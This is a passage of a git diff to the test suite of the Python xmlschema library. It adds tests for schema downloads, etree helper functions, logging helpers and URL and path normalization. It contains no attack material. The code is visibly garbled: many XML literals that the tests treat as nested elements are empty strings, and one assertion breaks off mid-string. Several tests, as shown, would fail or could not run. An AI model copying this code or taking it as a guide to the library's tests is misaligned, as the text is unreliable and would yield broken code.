self.assertIn('{http://xmlschema.test/tns2}item2', schema.maps.elements) + self.assertIn('{http://xmlschema.test/tns2}item3', schema.maps.elements) + + +class TestExports11(TestExports): + + schema_class = XMLSchema11 + + +class TestDownloads(unittest.TestCase): + + @classmethod + def setUpClass(cls): + cls.vh_dir = casepath('examples/vehicles') + cls.vh_xsd_file = casepath('examples/vehicles/vehicles.xsd') + cls.vh_xml_file = casepath('examples/vehicles/vehicles.xml') + + def test_download_local_schemas(self): + with tempfile.TemporaryDirectory() as dirname: + location_map = download_schemas(self.vh_xsd_file, target=dirname, modify=True) + + self.assertEqual(location_map, {}) + + xsd_path = pathlib.Path(dirname).joinpath('vehicles.xsd') + schema = XMLSchema10(xsd_path) + for xs in schema.maps.namespaces['http://example.com/vehicles']: + self.assertTrue(xs.url.startswith('file://')) + + self.assertTrue(pathlib.Path(dirname).joinpath('__init__.py').is_file()) + + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") + def test_download_local_and_remote_schemas(self): + vh_schema_file = casepath('issues/issue_187/issue_187_2.xsd') + url_common = ('raw.githubusercontent.com/brunato/xmlschema/master/' + 'tests/test_cases/examples/vehicles') + url_map = { + f'https://{url_common}/bikes.xsd': f'https/{url_common}/bikes.xsd', + f'https://{url_common}/cars.xsd': f'https/{url_common}/cars.xsd' + } + + with tempfile.TemporaryDirectory() as dirname: + location_map = download_schemas(vh_schema_file, target=dirname, modify=True) + + self.assertEqual(location_map, url_map) + + xsd_path = pathlib.Path(dirname).joinpath('issue_187_2.xsd') + schema = XMLSchema10(xsd_path) + for xs in schema.maps.namespaces['http://example.com/vehicles']: + self.assertTrue(xs.url.startswith('file://')) + + self.assertTrue(pathlib.Path(dirname).joinpath('__init__.py').is_file()) + + with tempfile.TemporaryDirectory() as dirname: + location_map = download_schemas(vh_schema_file, target=dirname) + + self.assertEqual(location_map, url_map) + + xsd_path = pathlib.Path(dirname).joinpath('issue_187_2.xsd') + schema = XMLSchema10(xsd_path) + for k, xs in enumerate(schema.maps.namespaces['http://example.com/vehicles']): + if k: + self.assertTrue(xs.url.startswith('https://')) + else: + self.assertTrue(xs.url.startswith('file://')) + + @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") + def test_download_remote_schemas(self): + url = ("https://raw.githubusercontent.com/brewpoo/" + "BeerXML-Standard/master/schema/BeerXML.xsd") + + with tempfile.TemporaryDirectory() as dirname: + location_map = download_schemas(url, target=dirname, modify=True) + self.assertEqual(location_map, {}) + + xsd_files = {x.name for x in pathlib.Path(dirname).glob('*.xsd')} + self.assertSetEqual(xsd_files, { + 'BeerXML.xsd', 'measureable_units.xsd', 'hops.xsd', + 'yeast.xsd', 'mash.xsd', 'style.xsd', 'water.xsd', + 'grain.xsd', 'misc.xsd', 'recipes.xsd', 'mash_step.xsd' + }) + + xsd_path = pathlib.Path(dirname).joinpath('BeerXML.xsd') + schema = XMLSchema10(xsd_path) + for ns in schema.maps.namespaces: + if ns.startswith('urn:beerxml:'): + for k, xs in enumerate(schema.maps.namespaces[ns]): + self.assertEqual(k, 0) + self.assertTrue(xs.url.startswith('file://')) + + def test_download_with_loglevel(self): + with tempfile.TemporaryDirectory() as dirname: + with self.assertLogs('xmlschema', level='DEBUG') as ctx: + download_schemas(self.vh_xsd_file, target=dirname, loglevel='debug') + self.assertGreater(len(ctx.output), 10) + self.assertFalse(any('Write modified ' in line for line in ctx.output)) + self.assertTrue(any('Write unchanged ' in line for line in ctx.output)) + + +if __name__ == '__main__': + header_template = "Test xmlschema exports.py module with Python {} on platform {}" + header = header_template.format(platform.python_version(), platform.platform()) + print('{0}\n{1}\n{0}'.format("*" * len(header), header)) + + unittest.main() diff --git a/tests/test_files.py b/tests/test_files.py index 95898ef..882d17b 100644 --- a/tests/test_files.py +++ b/tests/test_files.py @@ -72,7 +72,7 @@ else: continue - print("Add test %r for file %r ..." % (test_class.__name__, test_file)) + print(f"Add test {test_class.__name__!r} for file {test_file!r} ...") test_suite.addTest(test_loader.loadTestsFromTestCase(test_class)) if test_num == 1: diff --git a/tests/test_helpers.py b/tests/test_helpers.py index 3c372ba..8dec158 100644 --- a/tests/test_helpers.py +++ b/tests/test_helpers.py @@ -10,18 +10,24 @@ # """Tests on internal helper functions""" import unittest -import sys import decimal +import logging from collections import OrderedDict +from xml.etree import ElementTree + +try: + import lxml.etree as lxml_etree +except ImportError: + lxml_etree = None from xmlschema import XMLSchema, XMLSchemaParseError -from xmlschema.etree import ElementTree, etree_element from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA, \ XSD_ELEMENT, XSD_SIMPLE_TYPE, XSD_ANNOTATION, XSI_TYPE from xmlschema.helpers import prune_etree, get_namespace, get_qname, \ local_name, get_prefixed_qname, get_extended_qname, raw_xml_encode, \ - count_digits, strictly_equal -from xmlschema.testing import iter_nested_items + count_digits, strictly_equal, etree_iterpath, etree_getpath, \ + etree_iter_location_hints, update_namespaces, set_logging_level, logged +from xmlschema.testing import iter_nested_items, etree_elements_assert_equal from xmlschema.validators.exceptions import XMLSchemaValidationError from xmlschema.validators.helpers import get_xsd_derivation_attribute, \ decimal_validator, qname_validator, \ @@ -42,7 +48,7 @@ def tearDownClass(cls): XMLSchema.meta_schema.clear() def test_get_xsd_derivation_attribute(self): - elem = etree_element(XSD_ELEMENT, attrib={ + elem = ElementTree.Element(XSD_ELEMENT, attrib={ 'a1': 'extension', 'a2': ' restriction', 'a3': '#all', 'a4': 'other', 'a5': 'restriction extension restriction ', 'a6': 'other restriction' }) @@ -66,28 +72,28 @@ def test_get_xsd_derivation_attribute(self): def test_parse_component(self): component = XMLSchema.meta_schema.types['anyType'] - elem = etree_element(XSD_SCHEMA) + elem = ElementTree.Element(XSD_SCHEMA) self.assertIsNone(component._parse_child_component(elem)) - elem.append(etree_element(XSD_ELEMENT)) + elem.append(ElementTree.Element(XSD_ELEMENT)) self.assertEqual(component._parse_child_component(elem), elem[0]) - elem.append(etree_element(XSD_SIMPLE_TYPE)) + elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertRaises(XMLSchemaParseError, component._parse_child_component, elem) self.assertEqual(component._parse_child_component(elem, strict=False), elem[0]) elem.clear() - elem.append(etree_element(XSD_ANNOTATION)) + elem.append(ElementTree.Element(XSD_ANNOTATION)) self.assertIsNone(component._parse_child_component(elem)) - elem.append(etree_element(XSD_SIMPLE_TYPE)) + elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertEqual(component._parse_child_component(elem), elem[1]) - elem.append(etree_element(XSD_ELEMENT)) + elem.append(ElementTree.Element(XSD_ELEMENT)) self.assertRaises(XMLSchemaParseError, component._parse_child_component, elem) self.assertEqual(component._parse_child_component(elem, strict=False), elem[1]) elem.clear() - elem.append(etree_element(XSD_ANNOTATION)) - elem.append(etree_element(XSD_ANNOTATION)) + elem.append(ElementTree.Element(XSD_ANNOTATION)) + elem.append(ElementTree.Element(XSD_ANNOTATION)) self.assertIsNone(component._parse_child_component(elem, strict=False)) - elem.append(etree_element(XSD_SIMPLE_TYPE)) + elem.append(ElementTree.Element(XSD_SIMPLE_TYPE)) self.assertEqual(component._parse_child_component(elem), elem[2]) def test_raw_xml_encode_function(self): @@ -136,9 +142,8 @@ def test_strictly_equal_function(self): self.assertFalse(strictly_equal(10, 10.0)) def test_iter_nested_items_function(self): - if sys.version_info >= (3, 6): - self.assertListEqual(list(iter_nested_items({'a': 10, 'b': 20})), [10, 20]) - self.assertListEqual(list(iter_nested_items([{'a': 10, 'b': 20}, 30])), [10, 20, 30]) + self.assertListEqual(list(iter_nested_items({'a': 10, 'b': 20})), [10, 20]) + self.assertListEqual(list(iter_nested_items([{'a': 10, 'b': 20}, 30])), [10, 20, 30]) with self.assertRaises(TypeError): list(iter_nested_items({'a': 10, 'b': 20}, dict_class=OrderedDict)) @@ -275,6 +280,193 @@ def test_get_extended_qname(self): namespaces = {'': XSD_NAMESPACE} self.assertEqual(get_extended_qname('element', namespaces), XSD_ELEMENT) + def test_update_namespaces(self): + nsmap = {} + update_namespaces(nsmap, [('xs', XSD_NAMESPACE)]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) + update_namespaces(nsmap, [('xs', XSD_NAMESPACE)]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE}) + update_namespaces(nsmap, [('tns0', 'http://example.com/ns')]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, 'tns0': 'http://example.com/ns'}) + update_namespaces(nsmap, [('xs', 'http://example.com/ns')]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, + 'xs0': 'http://example.com/ns', + 'tns0': 'http://example.com/ns'}) + update_namespaces(nsmap, [('xs', 'http://example.com/ns')]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, + 'xs0': 'http://example.com/ns', + 'tns0': 'http://example.com/ns'}) + + update_namespaces(nsmap, [('xs', 'http://example.com/ns2')]) + self.assertEqual(nsmap, {'xs': XSD_NAMESPACE, + 'xs0': 'http://example.com/ns', + 'xs1': 'http://example.com/ns2', + 'tns0': 'http://example.com/ns'}) + + nsmap = {} + update_namespaces(nsmap, [('', XSD_NAMESPACE)]) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema'}) + update_namespaces(nsmap, [('', XSD_NAMESPACE)]) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema'}) + update_namespaces(nsmap, [('', 'http://example.com/ns')]) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', + 'default0': 'http://example.com/ns'}) + update_namespaces(nsmap, [('', 'http://example.com/ns2')], root_declarations=True) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', + 'default0': 'http://example.com/ns', + '': 'http://example.com/ns2'}) + update_namespaces(nsmap, [('', 'http://example.com/ns2')]) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', + 'default0': 'http://example.com/ns', + '': 'http://example.com/ns2'}) + update_namespaces(nsmap, [('', 'http://example.com/ns3')]) + self.assertEqual(nsmap, {'default': 'http://www.w3.org/2001/XMLSchema', + 'default0': 'http://example.com/ns', + '': 'http://example.com/ns2', + 'default1': 'http://example.com/ns3'}) + + def test_etree_iterpath(self): + root = ElementTree.XML('') + + items = list(etree_iterpath(root)) + self.assertListEqual(items, [ + (root, '.'), (root[0], './b1'), (root[0][0], './b1/c1'), + (root[0][1], './b1/c2'), (root[1], './b2'), (root[2], './b3'), + (root[2][0], './b3/c3') + ]) + + self.assertListEqual(items, list(etree_iterpath(root, tag='*'))) + self.assertListEqual(items, list(etree_iterpath(root, path=''))) + self.assertListEqual(items, list(etree_iterpath(root, path=None))) + + self.assertListEqual(list(etree_iterpath(root, path='/')), [ + (root, '/'), (root[0], '/b1'), (root[0][0], '/b1/c1'), + (root[0][1], '/b1/c2'), (root[1], '/b2'), (root[2], '/b3'), + (root[2][0], '/b3/c3') + ]) + + def test_etree_getpath(self): + root = ElementTree.XML('') + + self.assertEqual(etree_getpath(root, root), '.') + self.assertEqual(etree_getpath(root[0], root), './b1') + self.assertEqual(etree_getpath(root[2][0], root), './b3/c3') + self.assertEqual(etree_getpath(root[0], root, parent_path=True), '.') + self.assertEqual(etree_getpath(root[2][0], root, parent_path=True), './b3') + + self.assertIsNone(etree_getpath(root, root[0])) + self.assertIsNone(etree_getpath(root[0], root[1])) + self.assertIsNone(etree_getpath(root, root, parent_path=True)) + + def test_etree_elements_assert_equal(self): + e1 = ElementTree.XML('text\n\n') + e2 = ElementTree.XML('text\n\n') + + self.assertIsNone(etree_elements_assert_equal(e1, e1)) + self.assertIsNone(etree_elements_assert_equal(e1, e2)) + + if lxml_etree is not None: + e2 = lxml_etree.XML('text\n\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2)) + + e2 = ElementTree.XML('text\n\n') + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2) + self.assertIn("has lesser children than text \n\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2) + self.assertIn("texts differ: 'text' != 'text '", str(ctx.exception)) + + e2 = ElementTree.XML('text\ntext\n') + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("texts differ: None != 'text'", str(ctx.exception)) + + e2 = ElementTree.XML('text\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2)) + + e2 = ElementTree.XML('text\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2) + self.assertIn(r"tails differ: '\n' != None", str(ctx.exception)) + + e2 = ElementTree.XML('text\n\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2) + self.assertIn("attributes differ: {'a': '1'} != {'a': '1 '}", str(ctx.exception)) + + e2 = ElementTree.XML('text\n\n') + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("attribute 'a' values differ: '1' != '2'", str(ctx.exception)) + + e2 = ElementTree.XML('text\n\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2)) + self.assertIsNone(etree_elements_assert_equal(e1, e2, skip_comments=False)) + + if lxml_etree is not None: + e2 = lxml_etree.XML('text\n\n') + self.assertIsNone(etree_elements_assert_equal(e1, e2)) + + e1 = ElementTree.XML('+1') + e2 = ElementTree.XML('+ 1 ') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + + e1 = ElementTree.XML('+1') + e2 = ElementTree.XML('+1.1 ') + + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("texts differ: '+1' != '+1.1 '", str(ctx.exception)) + + e1 = ElementTree.XML('1') + e2 = ElementTree.XML('true ') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) + + e2 = ElementTree.XML('false ') + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("texts differ: '1' != 'false '", str(ctx.exception)) + + e1 = ElementTree.XML(' 0') + self.assertIsNone(etree_elements_assert_equal(e1, e2, strict=False)) + self.assertIsNone(etree_elements_assert_equal(e2, e1, strict=False)) + + e2 = ElementTree.XML('true ') + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("texts differ: ' 0' != 'true '", str(ctx.exception)) + + e1 = ElementTree.XML('text\n\n') + e2 = ElementTree.XML('texttail\n\n') + + with self.assertRaises(AssertionError) as ctx: + etree_elements_assert_equal(e1, e2, strict=False) + self.assertIn("tails differ: None != 'tail'", str(ctx.exception)) + + def test_iter_location_hints(self): + elem = ElementTree.XML( + """""" + ) + self.assertListEqual( + list(etree_iter_location_hints(elem)), + [('http://example.com/xmlschema/ns-A', 'import-case4a.xsd')] + ) + elem = ElementTree.XML( + """""" + ) + self.assertListEqual( + list(etree_iter_location_hints(elem)), [('', 'schema.xsd')] + ) + def test_prune_etree_function(self): root = ElementTree.XML('') self.assertFalse(prune_etree(root, lambda x: x.tag == 'C')) @@ -308,6 +500,14 @@ def method(self, elem): self.assertListEqual([e.tag for e in root.iter()], ['A']) self.assertEqual(root.attrib, {'id': '1'}) + root = ElementTree.XML('') + prune_etree(root, selector=lambda x: x.tag == 'b1') + self.assertListEqual([e.tag for e in root.iter()], ['a', 'b2', 'b3', 'c3']) + + root = ElementTree.XML('') + prune_etree(root, selector=lambda x: x.tag.startswith('c')) + self.assertListEqual([e.tag for e in root.iter()], ['a', 'b1', 'b2', 'b3']) + def test_decimal_validator(self): self.assertIsNone(decimal_validator(10)) self.assertIsNone(decimal_validator(10.1)) @@ -397,6 +597,54 @@ def test_error_type_validator(self): with self.assertRaises(XMLSchemaValidationError): error_type_validator(0) + def test_set_logging_level(self): + logger = logging.getLogger('xmlschema') + current_level = logger.level + try: + self.assertRaises(TypeError, set_logging_level, None) + self.assertEqual(logger.level, current_level) + + set_logging_level(logging.DEBUG) + self.assertEqual(logger.level, logging.DEBUG) + + set_logging_level('ERROR') + self.assertEqual(logger.level, logging.ERROR) + + self.assertRaises(ValueError, set_logging_level, 'WRONG') + finally: + logger.setLevel(current_level) + + def test_logged_decorator(self): + logger = logging.getLogger('xmlschema') + + def func(*args, **kwargs): + logger.warning('Warning log line') + logger.info('Info log line') + logger.debug('Debug log line') + + with self.assertLogs('xmlschema', level='DEBUG') as ctx: + logged(func)(loglevel='ERROR') + self.assertEqual(logger.level, logging.DEBUG) + self.assertEqual(len(ctx.output), 0) + + logged(func)(loglevel='WARNING') + self.assertEqual(logger.level, logging.DEBUG) + self.assertEqual(len(ctx.output), 1) + self.assertIn("Warning log line", ctx.output[-1]) + + logged(func)(loglevel='INFO') + self.assertEqual(logger.level, logging.DEBUG) + self.assertEqual(len(ctx.output), 3) + self.assertIn("Warning log line", ctx.output[-2]) + self.assertIn("Info log line", ctx.output[-1]) + + logged(func)() + self.assertEqual(logger.level, logging.DEBUG) + self.assertEqual(len(ctx.output), 6) + self.assertIn("Warning log line", ctx.output[-3]) + self.assertIn("Info log line", ctx.output[-2]) + self.assertIn("Debug log line", ctx.output[-1]) + if __name__ == '__main__': import platform diff --git a/tests/test_locations.py b/tests/test_locations.py new file mode 100644 index 0000000..ab9cfc3 --- /dev/null +++ b/tests/test_locations.py @@ -0,0 +1,737 @@ +#!/usr/bin/env python +# +# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato +# +import unittest +import sys +import os +import pathlib +import platform + +from urllib.parse import urlsplit +from pathlib import Path, PurePath, PureWindowsPath, PurePosixPath +from unittest.mock import patch, MagicMock + +import xmlschema.locations +from xmlschema.locations import LocationPath, LocationPosixPath, LocationWindowsPath, \ + is_url, is_local_url, is_remote_url, url_path_is_file, is_unc_path, is_drive_path, \ + normalize_url, normalize_locations, match_location, is_encoded_url, is_safe_url, \ + encode_url, decode_url, get_uri_path, get_uri, DRIVE_LETTERS + +TEST_CASES_DIR = str(pathlib.Path(__file__).absolute().parent.joinpath('test_cases')) + +DRIVE_REGEX = '(/[a-zA-Z]:|)' if platform.system() == 'Windows' else '' + +XML_WITH_NAMESPACES = '\n' \ + ' \n' \ + '' + +URL_CASES = ( + 'file:///c:/Downloads/file.xsd', + 'file:///tmp/xmlschema/schemas/VC/XMLSchema-versioning.xsd', + 'file:///tmp/xmlschema/schemas/XSD_1.1/xsd11-extra.xsd', + 'issue #000.xml', 'dev/XMLSCHEMA/test.xsd', + 'file:///tmp/xmlschema/schemas/XSI/XMLSchema-instance_minimal.xsd', + 'vehicles.xsd', 'file://filer01/MY_HOME/', + '//anaconda/envs/testenv/lib/python3.6/site-packages/xmlschema/validators/schemas/', + 'z:\\Dir-1.0\\Dir-2_0\\', 'https://host/path?name=2&id=', 'data.xml', + 'alpha', 'other.xsd?id=2', '\\\\filer01\\MY_HOME\\', '//root/dir1', + '/tmp/xmlschema/schemas/XSD_1.1/xsd11-extra.xsd', + '/tmp/xmlschema/schemas/VC/XMLSchema-versioning.xsd', + '\\\\host\\share\\file.xsd', 'https://example.com/xsd/other_schema.xsd', + '/tmp/tests/test_cases/examples/collection/collection.xml', 'XMLSchema.xsd', + 'file:///c:/Windows/unknown', 'k:\\Dir3\\schema.xsd', + '/tmp/tests/test_cases/examples/collection', 'file:other.xsd', + 'issue%20%23000.xml', '\\\\filer01\\MY_HOME\\dev\\XMLSCHEMA\\test.xsd', + 'http://site/base', 'dir2/schema.xsd', '//root/dir1/schema.xsd', + 'file:///tmp/xmlschema/schemas/XML/xml_minimal.xsd', + 'https://site/base', 'file:///home#attribute', + '/dir1/dir2/issue%20%23002', '////root/dir1/schema.xsd', + '/tmp/xmlschema/schemas/XSD_1.1/XMLSchema.xsd', + '/tmp/xmlschema/schemas/XML/xml_minimal.xsd', + '/tmp/xmlschema/schemas/XSD_1.0/XMLSchema.xsd', + 'file:///home/', '////root/dir1', '//root/dir1/', 'file:///home', 'other.xsd', + 'file:///tmp/tests/test_cases/examples/collection/collection.xml', + 'file://host/home/', 'dummy path.xsd', 'other.xsd#element', + 'z:\\Dir_1_0\\Dir2-0\\schemas/XSD_1.0/XMLSchema.xsd', + 'd:/a/xmlschema/xmlschema/tests/test_cases/examples/', + 'https://xmlschema.test/schema 2/test.xsd?name=2 id=3', + 'xsd1.0/schema.xsd', '/home', 'schema.xsd', + 'dev\\XMLSCHEMA\\test.xsd', '../dir1/./dir2', 'beta', + '/tmp/xmlschema/schemas/XSI/XMLSchema-instance_minimal.xsd', + 'file:///dir1/dir2/', 'file:///dir1/dir2/issue%20001', '/root/dir1/schema.xsd', + 'file:///tmp/xmlschema/schemas/XSD_1.1', '/path/schema 2/test.xsd?name=2 id=3', + 'file:////filer01/MY_HOME/', 'file:///home?name=2&id=', 'http://example.com/beta', + '/home/user', 'file:///\\k:\\Dir A\\schema.xsd' +) + + +def casepath(relative_path): + return str(pathlib.Path(TEST_CASES_DIR).joinpath(relative_path)) + + +def is_windows_path(path): + """Checks if the path argument is a Windows platform path.""" + return '\\' in path or ':' in path or '|' in path + + +def add_leading_slash(path): + return '/' + path if path and path[0] not in ('/', '\\') else path + + +def filter_windows_path(path): + if path.startswith('/\\'): + return path[1:] + elif path and path[0] not in ('/', '\\'): + return '/' + path + else: + return path + + +class TestLocations(unittest.TestCase): + + @classmethod + def setUpClass(cls): + cls.col_dir = casepath('examples/collection') + cls.col_xsd_file = casepath('examples/collection/collection.xsd') + cls.col_xml_file = casepath('examples/collection/collection.xml') + + def check_url(self, url, expected): + url_parts = urlsplit(url) + + if urlsplit(expected).scheme in DRIVE_LETTERS: + expected = add_leading_slash(expected) + expected_parts = urlsplit(expected, scheme='file') + + self.assertEqual(url_parts.scheme, expected_parts.scheme, + "%r: Schemes differ." % url) + self.assertEqual(url_parts.netloc, expected_parts.netloc, + "%r: Netloc parts differ." % url) + self.assertEqual(url_parts.query, expected_parts.query, + "%r: Query parts differ." % url) + self.assertEqual(url_parts.fragment, expected_parts.fragment, + "%r: Fragment parts differ." % url) + + if is_windows_path(url_parts.path) or is_windows_path(expected_parts.path): + path = PureWindowsPath(filter_windows_path(url_parts.path)) + expected_path = PureWindowsPath(filter_windows_path(expected_parts.path)) + else: + path = PurePath(url_parts.path) + expected_path = PurePath(expected_parts.path) + self.assertEqual(path, expected_path, "%r: Paths differ." % url) + + def test_urlsplit(self): + url = "https://xmlschema.test/schema/test.xsd" + self.assertEqual( + urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", '', '') + ) + + url = "https://xmlschema.test/xs:schema/test.xsd" + self.assertEqual( + urlsplit(url), ("https", "xmlschema.test", "/xs:schema/test.xsd", '', '') + ) + + url = "https://xmlschema.test/schema/test.xsd#xs:element" + self.assertEqual( + urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", '', 'xs:element') + ) + + url = "https://xmlschema.test@username:password/schema/test.xsd" + self.assertEqual( + urlsplit(url), + ("https", "xmlschema.test@username:password", "/schema/test.xsd", '', '') + ) + + url = "https://xmlschema.test/schema/test.xsd?id=10" + self.assertEqual( + urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", 'id=10', '') + ) + + def test_path_from_uri(self): + if platform.system() == 'Windows': + default_class = LocationWindowsPath + else: + default_class = LocationPosixPath + + with self.assertRaises(ValueError) as ec: + LocationPath.from_uri('') + self.assertEqual(str(ec.exception), 'Empty URI provided!') + + path = LocationPath.from_uri('https://example.com/names/?name=foo') + self.assertIsInstance(path, LocationPosixPath) + self.assertEqual(str(path), '/names') + + path = LocationPosixPath.from_uri('file:///home/foo/names/?name=foo') + self.assertIsInstance(path, default_class) + self.assertEqual(str(path).replace('\\', '/'), '/home/foo/names') + + path = LocationPosixPath.from_uri('file:///home/foo/names#foo') + self.assertIsInstance(path, default_class) + self.assertEqual(str(path).replace('\\', '/'), '/home/foo/names') + + path = LocationPath.from_uri('file:///home\\foo\\names#foo') + self.assertTrue(path.as_posix().endswith('/home/foo/names')) + self.assertIsInstance(path, LocationWindowsPath) + + path = LocationPosixPath.from_uri('file:///c:/home/foo/names/') + self.assertIsInstance(path, LocationWindowsPath) + + path = LocationPath.from_uri('file:///c:/home/foo/names/') + self.assertIsInstance(path, LocationWindowsPath) + self.assertEqual(str(path), r'c:\home\foo\names') + self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') + + path = LocationPosixPath.from_uri('file:c:/home/foo/names/') + self.assertIsInstance(path, LocationWindowsPath) + + path = LocationPath.from_uri('file:c:/home/foo/names/') + self.assertIsInstance(path, LocationWindowsPath) + self.assertEqual(str(path), r'c:\home\foo\names') + self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') + + with self.assertRaises(ValueError) as ec: + LocationPath.from_uri('file://c:/home/foo/names/') + self.assertEqual(str(ec.exception), "Invalid URI 'file://c:/home/foo/names/'") + + def test_get_uri(self): + for url in URL_CASES: + self.assertEqual(get_uri(*urlsplit(url)), url) + + url = 'D:/a/xmlschema/xmlschema/tests/test_cases/examples/' + self.assertNotEqual(get_uri(*urlsplit(url)), url) + + def test_get_uri_path(self): + self.assertEqual(get_uri_path('https', 'host', 'path', 'id=7', 'types'), + '//host/path') + self.assertEqual(get_uri_path('k', '', 'path/file', 'id=7', 'types'), + 'path/file') + self.assertEqual(get_uri_path('file', '', 'path/file', 'id=7', 'types'), + 'path/file') + + def test_urn_uri(self): + with self.assertRaises(ValueError) as ec: + LocationPath.from_uri("urn:ietf:rfc:2648") + self.assertIn("Can't create", str(ec.exception)) + + self.assertEqual(get_uri(scheme='urn', path='ietf:rfc:2648'), 'urn:ietf:rfc:2648') + self.assertEqual(get_uri_path(scheme='urn', path='ietf:rfc:2648'), 'ietf:rfc:2648') + + with self.assertRaises(ValueError) as ec: + get_uri_path(get_uri_path(scheme='urn', path='ietf:rfc:2648:')) + self.assertIn("Invalid URN path ", str(ec.exception)) + + for arg in ('authority', 'query', 'fragment'): + with self.assertRaises(ValueError) as ec: + get_uri_path(get_uri_path(scheme='urn', path='ietf:rfc:2648:', **{arg: 'foo'})) + + self.assertEqual( + str(ec.exception), "An URN can have only scheme and path components" + ) + + @unittest.skipIf(platform.system() == 'Windows', "Run only on posix systems") + def test_normalize_url_posix(self): + url1 = "https://example.com/xsd/other_schema.xsd" + self.check_url(normalize_url(url1, base_url="/path_my_schema/schema.xsd"), url1) + + parent_dir = os.path.dirname(os.getcwd()) + self.check_url(normalize_url('../dir1/./dir2'), os.path.join(parent_dir, 'dir1/dir2')) + self.check_url(normalize_url('../dir1/./dir2', '/home', keep_relative=True), + 'file:///dir1/dir2') + self.check_url(normalize_url('../dir1/./dir2', 'file:///home'), 'file:///dir1/dir2') + + self.check_url(normalize_url('other.xsd', 'file:///home'), 'file:///home/other.xsd') + self.check_url(normalize_url('other.xsd', 'file:///home/'), 'file:///home/other.xsd') + self.check_url(normalize_url('file:other.xsd', 'file:///home'), 'file:///home/other.xsd') + + cwd = os.getcwd() + cwd_url = f'file://{cwd}/' if cwd.startswith('/') else f'file:///{cwd}/' + + self.check_url(normalize_url('other.xsd', keep_relative=True), 'file:other.xsd') + self.check_url(normalize_url('file:other.xsd', keep_relative=True), 'file:other.xsd') + self.check_url(normalize_url('file:other.xsd'), cwd_url + 'other.xsd') + self.check_url(normalize_url('file:other.xsd', 'https://site/base', True), 'file:other.xsd') + self.check_url(normalize_url('file:other.xsd', 'http://site/base'), cwd_url + 'other.xsd') + + self.check_url(normalize_url('dummy path.xsd'), cwd_url + 'dummy%20path.xsd') + self.check_url(normalize_url('dummy path.xsd', 'http://site/base'), + 'http://site/base/dummy%20path.xsd') + + self.assertEqual(normalize_url('dummy path.xsd', 'file://host/home/'), + 'file:////host/home/dummy%20path.xsd') + + url = "file:///c:/Downloads/file.xsd" + self.check_url(normalize_url(url, base_url="file:///d:/Temp/"), url) + + def test_normalize_url_windows(self): + win_abs_path1 = 'z:\\Dir_1_0\\Dir2-0\\schemas/XSD_1.0/XMLSchema.xsd' + win_abs_path2 = 'z:\\Dir-1.0\\Dir-2_0\\' + self.check_url(normalize_url(win_abs_path1), win_abs_path1) + + self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path1), + 'file:///k:/Dir3/schema.xsd') + self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path2), + 'file:///k:/Dir3/schema.xsd') + + self.check_url(normalize_url('schema.xsd', win_abs_path2), + 'file:///z:/Dir-1.0/Dir-2_0/schema.xsd') + self.check_url(normalize_url('xsd1.0/schema.xsd', win_abs_path2), + 'file:///z:/Dir-1.0/Dir-2_0/xsd1.0/schema.xsd') + + with self.assertRaises(ValueError) as ec: + normalize_url('file:///\\k:\\Dir A\\schema.xsd') + self.assertIn("Invalid URI", str(ec.exception)) + + base_url = 'D:/a/xmlschema/xmlschema/tests/test_cases/examples/' + self.assertEqual(normalize_url('vehicles.xsd', base_url), + f'file:///{base_url}vehicles.xsd') + + def test_normalize_url_unc_paths__issue_246(self): + url = PureWindowsPath(r'\\host\share\file.xsd').as_uri() + self.assertNotEqual(normalize_url(r'\\host\share\file.xsd'), + url) # file://host/share/file.xsd + self.assertEqual(normalize_url(r'\\host\share\file.xsd'), + url.replace('file://', 'file:////')) + + def test_normalize_url_unc_paths__issue_268(self,): + unc_path = 